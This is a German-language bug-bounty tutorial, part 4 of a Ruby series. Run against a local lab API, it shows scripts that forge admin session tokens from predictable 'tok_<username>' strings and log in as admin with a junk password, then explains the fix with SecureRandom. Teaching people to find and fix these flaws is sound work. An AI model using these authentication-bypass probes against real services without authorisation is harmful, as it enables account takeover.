// Bug-Bounty-Automatisierung in Ruby · Teil 4

Authentifizierung brechen

Teil 3 missbrauchte, was ein Token durfte. Jetzt greifen wir das Token selbst an — und den Login, der es ausgibt. Wir fälschen eine Admin-Sitzung allein aus dem Benutzernamen, holen uns dann eine mit einem Müll-Passwort und lernen, wie ein echtes Token aussehen muss.

RubyAuthenticationTokensSecureRandom
4 Min. Lesezeit

In Teil 3 hatten wir ein gültiges Token und missbrauchten, was es erreichen konnte. Dieser Teil ist grundlegender: Wir gehen die Authentifizierung an — den Nachweis, wer du bist — statt der Autorisierung. Wenn du eine gültige Sitzung für jemand anderen prägen kannst, ist jede nachgelagerte Autorisierungsprüfung hinfällig, weil der Server bereits glaubt, du seist diese Person.

Zwei Dinge machen das hier möglich, und beide sind echte Bug-Klassen, denen du in freier Wildbahn begegnest. Beginne auth.rb mit dem üblichen authentifizierten GET:

require 'net/http'
require 'json'
require 'uri'
require 'securerandom'

BASE = 'http://127.0.0.1:4567'

def get(path, token)
  uri = URI("#{BASE}#{path}")
  req = Net::HTTP::Get.new(uri)
  req['Authorization'] = "Bearer #{token}"
  Net::HTTP.start(uri.host, uri.port) { |http| http.request(req) }
end

Das Token ist ein Muster, kein Geheimnis

In Teil 1 loggten wir uns als alice ein und bekamen tok_alice. Schau dir diesen String an. Es ist das Wort tok_, an den Benutzernamen geklebt — was heißt, dass es überhaupt kein Geheimnis ist, sondern eine Vorlage, die du ausfüllen kannst. Bau Tokens für Namen, als die wir uns nie eingeloggt haben, und sieh, für wen der Server uns hält:

%w[alice bob admin].each do |name|
  token = "tok_#{name}"
  res = get('/api/me', token)
  who = res.code.to_i == 200 ? JSON.parse(res.body)['role'] : 'rejected'
  puts "  #{token.ljust(12)} -> #{who}"
end

"tok_#{name}" baut jeden Versuch per Interpolation. Wir haben uns hier als niemand authentifiziert — wir haben nur ein Token behauptet und /api/me gebeten, es zu bestätigen:

$ ruby auth.rb
  tok_alice    -> user
  tok_bob      -> user
  tok_admin    -> admin

tok_admin funktioniert, und es ist eine Admin-Sitzung. Wir haben es aus drei bekannten Buchstaben und einem geratenen Benutzernamen gefälscht. Ein Sitzungs-Token hat genau eine Aufgabe — unerratbar zu sein — und dieses ist ein Lückentext.

Der Login prüft das Passwort nicht

Es gibt ein zweites, unabhängiges Loch. Die Fälschung oben nahm an, wir hätten ein Token gesehen und das Muster erkannt. Aber das brauchen wir gar nicht: Der /login-Endpunkt gibt für jeden Namen ein Token aus und prüft nie das Passwort. Schau:

def login(name, password)
  res = Net::HTTP.post(URI("#{BASE}/login"),
                       { 'name' => name, 'pass' => password }.to_json,
                       'Content-Type' => 'application/json')
  JSON.parse(res.body)['token']
end

admin = login('admin', 'not-even-close')
role  = JSON.parse(get('/api/me', admin).body)['role']
puts "[+] logged in as admin with a junk password -> #{admin} (#{role})"
$ ruby auth.rb
...
[+] logged in as admin with a junk password -> tok_admin (admin)

Wir sendeten not-even-close als Passwort, und der Server gab das Admin-Token trotzdem aus. Jeder Bug für sich ist eine vollständige Kontoübernahme; zusammen sind sie zwei verschiedene Vordertüren zur selben Admin-Sitzung.

Wie ein Token aussehen sollte

Die Behebung für beide lohnt sich zu sehen, denn sie ist das, was du im Bericht empfehlen wirst. Ein echtes Token ist zufällig, nicht aus irgendetwas über den Benutzer abgeleitet — sodass es nicht erraten oder nachgebaut werden kann. Rubys securerandom erzeugt eines:

puts "a real token: #{SecureRandom.hex(32)}"
$ ruby auth.rb
...
a real token: 9f2c8a1e...  (64 hex chars, 256 bits of entropy)

Das sind 256 Bit Zufall — kein Muster, kein Benutzername darin, in keiner menschlichen Zeitspanne brute-forcebar. Zwei Regeln folgen aus diesem Teil: prüfe das Passwort, bevor du irgendetwas ausgibst, und mach das Ausgegebene zufällig. Eine API, die eines von beidem auslässt, verschenkt Admin.

Erkenntnisse

  • Vorhersagbare Tokens sind ein Auth-Bypass. Wenn ein Sitzungs-Token aus dem Benutzernamen (oder einem Zähler oder einem Zeitstempel) gebaut ist, kannst du eines für jedes Konto fälschen. Schau dir zuerst dein eigenes Token an — seine Struktur ist das Zeichen.
  • Fehlende Passwortprüfung: ein /login, das unabhängig vom Passwort ein Token zurückgibt, ist für sich schon eine Übernahme. Sende ein absichtlich falsches Passwort und sieh, ob du trotzdem reinkommst.
  • "tok_#{name}" und SecureRandom.hex(n) sind zwei Enden des Spektrums: erratbares String-Bauen gegen echte Entropie.
  • Authentifizierung sitzt unter der Autorisierung. Brich sie, und jede Berechtigungsprüfung darüber ist Deko.

Übungen

  1. Du hast gesehen, dass tok_admin funktioniert. Bestätige, dass die ganze Plattform offenliegt: fälsche jedes Benutzer-Token und gib den Kontostand aus /api/me aus, ganz ohne Logins.
  2. Ein etwas weniger offensichtliches Schema ist Base64 des Benutzernamens. Kodiere admin mit require 'base64'; Base64.strict_encode64('admin') und überlege, warum Kodieren nicht dasselbe ist wie Sichern.
  3. Kombiniere das mit Teil 3: logge dich als alice mit beliebigem Passwort ein und nutze dann die Admin-Stats-BFLA — wie viel der Plattform kannst du, ausgehend von einem einzigen geratenen Namen, anfassen?

Weiter — Teil 5: Wir hören auf, dem Server die erwarteten Eingaben zu geben. Wir fuzzen — werfen präparierte Felder und Werte auf Endpunkte — und bringen den Mass-Assignment-Bug des Labors dazu, uns reich zu machen.

← Alle Teile